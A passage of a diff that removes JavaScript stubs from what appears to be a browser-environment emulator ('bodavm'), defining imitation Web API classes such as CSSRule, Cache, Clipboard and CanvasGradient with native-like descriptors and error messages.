bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "media_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('StyleSheet', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['StyleSheet'].prototype, "StyleSheet", "disabled_set", arguments)}},'prototype'); - -// CSSStyleValue对象 -bodavm.memory.globalobj['CSSStyleValue'] = function CSSStyleValue(){if (!(this instanceof CSSStyleValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSStyleValue'], "CSSStyleValue"); -bodavm.toolsFunc.defineProperty('CSSStyleValue', "parse", {configurable:true, enumerable:true, writable:true, value:function parse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parse", arguments)}}); -bodavm.toolsFunc.defineProperty('CSSStyleValue', "parseAll", {configurable:true, enumerable:true, writable:true, value:function parseAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].undefined, "CSSStyleValue", "parseAll", arguments)}}); -bodavm.toolsFunc.defineProperty('CSSStyleValue', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSStyleValue'].prototype, "CSSStyleValue", "toString", arguments)}},'prototype'); - -// CSSNumericValue对象 -bodavm.memory.globalobj['CSSNumericValue'] = function CSSNumericValue(){if (!(this instanceof CSSNumericValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSNumericValue'], "CSSNumericValue"); -bodavm.memory.globalobj['CSSNumericValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSNumericValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSNumericValue', "parse", {configurable:true, enumerable:true, writable:true, value:function parse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].undefined, "CSSNumericValue", "parse", arguments)}}); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "div", {configurable:true, enumerable:true, writable:true, value:function div (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "div", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "equals", {configurable:true, enumerable:true, writable:true, value:function equals (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "equals", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "max", {configurable:true, enumerable:true, writable:true, value:function max (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "max", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "min", {configurable:true, enumerable:true, writable:true, value:function min (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "min", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "mul", {configurable:true, enumerable:true, writable:true, value:function mul (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "mul", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "sub", {configurable:true, enumerable:true, writable:true, value:function sub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "sub", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "to", {configurable:true, enumerable:true, writable:true, value:function to (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "to", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "toSum", {configurable:true, enumerable:true, writable:true, value:function toSum (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "toSum", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSNumericValue', "type", {configurable:true, enumerable:true, writable:true, value:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSNumericValue'].prototype, "CSSNumericValue", "type", arguments)}},'prototype'); - -// CSSMathValue对象 -bodavm.memory.globalobj['CSSMathValue'] = function CSSMathValue(){if (!(this instanceof CSSMathValue)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSMathValue'], "CSSMathValue"); -bodavm.memory.globalobj['CSSMathValue'].prototype.__proto__=bodavm.memory.globalobj['CSSNumericValue'].prototype; -bodavm.memory.globalobj['CSSMathValue'].__proto__=bodavm.memory.globalobj['CSSNumericValue']; -bodavm.toolsFunc.defineProperty('CSSMathValue', "operator", {configurable:true, enumerable:true, get:function operator (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSMathValue'].prototype, "CSSMathValue", "operator_get", arguments)}, set:undefined},'prototype'); - -// CSSTransformComponent对象 -bodavm.memory.globalobj['CSSTransformComponent'] = function CSSTransformComponent(){if (!(this instanceof CSSTransformComponent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformComponent'], "CSSTransformComponent"); -bodavm.toolsFunc.defineProperty('CSSTransformComponent', "is2D", {configurable:true, enumerable:true, get:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_get", arguments)}, set:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toMatrix", {configurable:true, enumerable:true, writable:true, value:function toMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toString", arguments)}},'prototype'); - -// CSSRule对象 -bodavm.memory.globalobj['CSSRule'] = function CSSRule(){if (!(this instanceof CSSRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSRule'], "CSSRule"); -bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:11}); -bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", {configurable:false, enumerable:true, writable:false, value:12}); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", {configurable:false, enumerable:true, writable:false, value:14}); -bodavm.toolsFunc.defineProperty('CSSRule', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "cssText", {configurable:true, enumerable:true, get:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_get", arguments)}, set:function cssText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "cssText_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "parentRule", {configurable:true, enumerable:true, get:function parentRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentRule_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "parentStyleSheet", {configurable:true, enumerable:true, get:function parentStyleSheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSRule'].prototype, "CSSRule", "parentStyleSheet_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "CHARSET_RULE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "IMPORT_RULE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "MEDIA_RULE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FACE_RULE", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "PAGE_RULE", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "NAMESPACE_RULE", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAMES_RULE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "KEYFRAME_RULE", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "COUNTER_STYLE_RULE", {configurable:false, enumerable:true, writable:false, value:11},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "SUPPORTS_RULE", {configurable:false, enumerable:true, writable:false, value:12},'prototype'); -bodavm.toolsFunc.defineProperty('CSSRule', "FONT_FEATURE_VALUES_RULE", {configurable:false, enumerable:true, writable:false, value:14},'prototype'); - -// CSSGroupingRule对象 -bodavm.memory.globalobj['CSSGroupingRule'] = function CSSGroupingRule(){if (!(this instanceof CSSGroupingRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSGroupingRule'], "CSSGroupingRule"); -bodavm.memory.globalobj['CSSGroupingRule'].prototype.__proto__=bodavm.memory.globalobj['CSSRule'].prototype; -bodavm.memory.globalobj['CSSGroupingRule'].__proto__=bodavm.memory.globalobj['CSSRule']; -bodavm.toolsFunc.defineProperty('CSSGroupingRule', "cssRules", {configurable:true, enumerable:true, get:function cssRules (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "cssRules_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSGroupingRule', "deleteRule", {configurable:true, enumerable:true, writable:true, value:function deleteRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "deleteRule", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSGroupingRule', "insertRule", {configurable:true, enumerable:true, writable:true, value:function insertRule (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSGroupingRule'].prototype, "CSSGroupingRule", "insertRule", arguments)}},'prototype'); - -// ByteLengthQueuingStrategy对象 -bodavm.memory.globalobj['ByteLengthQueuingStrategy'] = function ByteLengthQueuingStrategy(){if (!(this instanceof ByteLengthQueuingStrategy)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ByteLengthQueuingStrategy': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ByteLengthQueuingStrategy'], "ByteLengthQueuingStrategy"); -bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "highWaterMark", {configurable:true, enumerable:true, get:function highWaterMark (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "highWaterMark_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ByteLengthQueuingStrategy', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ByteLengthQueuingStrategy'].prototype, "ByteLengthQueuingStrategy", "size_get", arguments)}, set:undefined},'prototype'); - -// Cache对象 - -bodavm.memory.globalobj['Cache'] = function Cache(){if (!(this instanceof Cache)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Cache'], "Cache"); - -bodavm.toolsFunc.defineProperty('Cache', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "addAll", {configurable:true, enumerable:true, writable:true, value:function addAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "addAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "match", {configurable:true, enumerable:true, writable:true, value:function match (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "match", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "matchAll", {configurable:true, enumerable:true, writable:true, value:function matchAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "matchAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "put", {configurable:true, enumerable:true, writable:true, value:function put (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "put", arguments)}},'prototype'); - - -// caches对象 -bodavm.memory.globalobj['caches'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['caches'].__proto__=bodavm.memory.globalobj['CacheStorage'].prototype; - -// cancelAnimationFrame对象 -bodavm.memory.globalobj['cancelAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('cancelAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"cancelAnimationFrame"}); - -// cancelIdleCallback对象 -bodavm.memory.globalobj['cancelIdleCallback'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('cancelIdleCallback', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('cancelIdleCallback', "name", {configurable:true, enumerable:false, writable:false, value:"cancelIdleCallback"}); - -// CanvasCaptureMediaStreamTrack对象 -bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'] = function CanvasCaptureMediaStreamTrack(){if (!(this instanceof CanvasCaptureMediaStreamTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'], "CanvasCaptureMediaStreamTrack"); -bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype.__proto__=bodavm.memory.globalobj['MediaStreamTrack'].prototype; -bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].__proto__=bodavm.memory.globalobj['MediaStreamTrack']; -bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CanvasCaptureMediaStreamTrack', "requestFrame", {configurable:true, enumerable:true, writable:true, value:function requestFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasCaptureMediaStreamTrack'].prototype, "CanvasCaptureMediaStreamTrack", "requestFrame", arguments)}},'prototype'); - -// CanvasFilter对象 -bodavm.memory.globalobj['CanvasFilter'] = function CanvasFilter(){if (!(this instanceof CanvasFilter)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CanvasFilter': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasFilter'], "CanvasFilter"); - -// CanvasGradient对象 -bodavm.memory.globalobj['CanvasGradient'] = function CanvasGradient(){if (!(this instanceof CanvasGradient)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasGradient'], "CanvasGradient"); -bodavm.toolsFunc.defineProperty('CanvasGradient', "addColorStop", {configurable:true, enumerable:true, writable:true, value:function addColorStop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasGradient'].prototype, "CanvasGradient", "addColorStop", arguments)}},'prototype'); - -// CanvasPattern对象 -bodavm.memory.globalobj['CanvasPattern'] = function CanvasPattern(){if (!(this instanceof CanvasPattern)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CanvasPattern'], "CanvasPattern"); -bodavm.toolsFunc.defineProperty('CanvasPattern', "setTransform", {configurable:true, enumerable:true, writable:true, value:function setTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CanvasPattern'].prototype, "CanvasPattern", "setTransform", arguments)}},'prototype'); - -// CaptureController对象 -bodavm.memory.globalobj['CaptureController'] = function CaptureController(){this._boarg= new bodaobj.window.CaptureController();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CaptureController'], "CaptureController"); -bodavm.toolsFunc.defineProperty('CaptureController', "setFocusBehavior", {configurable:true, enumerable:true, writable:true, value:function setFocusBehavior (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CaptureController'].prototype, "CaptureController", "setFocusBehavior", arguments)}},'prototype'); - -// captureEvents对象 -bodavm.memory.globalobj['captureEvents'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('captureEvents', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('captureEvents', "name", {configurable:true, enumerable:false, writable:false, value:"captureEvents"}); - -// ChannelMergerNode对象 -bodavm.memory.globalobj['ChannelMergerNode'] = function ChannelMergerNode(){if (!(this instanceof ChannelMergerNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelMergerNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelMergerNode'], "ChannelMergerNode"); -bodavm.memory.globalobj['ChannelMergerNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ChannelMergerNode'].__proto__=bodavm.memory.globalobj['AudioNode']; - -// ChannelSplitterNode对象 -bodavm.memory.globalobj['ChannelSplitterNode'] = function ChannelSplitterNode(){if (!(this instanceof ChannelSplitterNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ChannelSplitterNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ChannelSplitterNode'], "ChannelSplitterNode"); -bodavm.memory.globalobj['ChannelSplitterNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['ChannelSplitterNode'].__proto__=bodavm.memory.globalobj['AudioNode']; - -// clearInterval对象 -bodavm.memory.globalobj['clearInterval'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('clearInterval', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('clearInterval', "name", {configurable:true, enumerable:false, writable:false, value:"clearInterval"}); - -// clearTimeout对象 -bodavm.memory.globalobj['clearTimeout'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('clearTimeout', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('clearTimeout', "name", {configurable:true, enumerable:false, writable:false, value:"clearTimeout"}); - -// clientInformation对象 -bodavm.memory.globalobj['clientInformation'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['clientInformation'].__proto__=bodavm.memory.globalobj['Navigator'].prototype; - -// Clipboard对象 -bodavm.memory.globalobj['Clipboard'] = function Clipboard(){if (!(this instanceof Clipboard)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Clipboard'], "Clipboard"); -bodavm.memory.globalobj['Clipboard'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Clipboard'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Clipboard', "read", {configurable:true, enumerable:true, writable:true, value:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "read", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Clipboard', "readText", {configurable:true, enumerable:true, writable:true, value:function readText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "readText", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Clipboard', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "write", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Clipboard', "writeText", {configurable:true, enumerable:true, writable:true, value:function writeText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Clipboard'].prototype, "Clipboard", "writeText", arguments)}},'prototype'); - -// ClipboardEvent对象 -bodavm.memory.globalobj['ClipboardEvent'] = function ClipboardEvent(){if (!(this instanceof ClipboardEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardEvent'], "ClipboardEvent"); -bodavm.memory.globalobj['ClipboardEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ClipboardEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ClipboardEvent', "clipboardData", {configurable:true, enumerable:true, get:function clipboardData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardEvent'].prototype, "ClipboardEvent", "clipboardData_get", arguments)}, set:undefined},'prototype'); - -// ClipboardItem对象 -bodavm.memory.globalobj['ClipboardItem'] = function ClipboardItem(){if (!(this instanceof ClipboardItem)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ClipboardItem': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ClipboardItem'], "ClipboardItem"); -bodavm.toolsFunc.defineProperty('ClipboardItem', "types", {configurable:true, enumerable:true, get:function types (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "types_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ClipboardItem', "getType", {configurable:true, enumerable:true, writable:true, value:function getType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ClipboardItem'].prototype, "ClipboardItem", "getType", arguments)}},'prototype'); - -// close对象 -bodavm.memory.globalobj['close'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('close', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('close', "name", {configurable:true, enumerable:false, writable:false, value:"close"}); - -// closed对象 -bodavm.memory.globalobj['closed'] = { - _boisinit:bodavm.config.isinit - } - -// CompositionEvent对象 -bodavm.memory.globalobj['CompositionEvent'] = function CompositionEvent(){if (!(this instanceof CompositionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompositionEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompositionEvent'], "CompositionEvent"); -bodavm.memory.globalobj['CompositionEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['CompositionEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('CompositionEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CompositionEvent', "initCompositionEvent", {configurable:true, enumerable:true, writable:true, value:function initCompositionEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompositionEvent'].prototype, "CompositionEvent", "initCompositionEvent", arguments)}},'prototype'); - -// CompressionStream对象 -bodavm.memory.globalobj['CompressionStream'] = function CompressionStream(){if (!(this instanceof CompressionStream)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CompressionStream': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CompressionStream'], "CompressionStream"); -bodavm.toolsFunc.defineProperty('CompressionStream', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "readable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CompressionStream', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CompressionStream'].prototype, "CompressionStream", "writable_get", arguments)}, set:undefined},'prototype'); - -// confirm对象 -bodavm.memory.globalobj['confirm'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('confirm', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('confirm', "name", {configurable:true, enumerable:false, writable:false, value:"confirm"}); - -// ConstantSourceNode对象 -bodavm.memory.globalobj['ConstantSourceNode'] = function ConstantSourceNode(){if (!(this instanceof ConstantSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ConstantSourceNode': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ConstantSourceNode'], "ConstantSourceNode"); -bodavm.memory.globalobj['ConstantSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode'].prototype; -bodavm.memory.globalobj['ConstantSourceNode'].__proto__=bodavm.memory.globalobj['AudioScheduledSourceNode']; -bodavm.toolsFunc.defineProperty('ConstantSourceNode', "offset", {configurable:true, enumerable:true, get:function offset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ConstantSourceNode'].prototype, "ConstantSourceNode", "offset_get", arguments)}, set:undefined},'prototype'); - -// 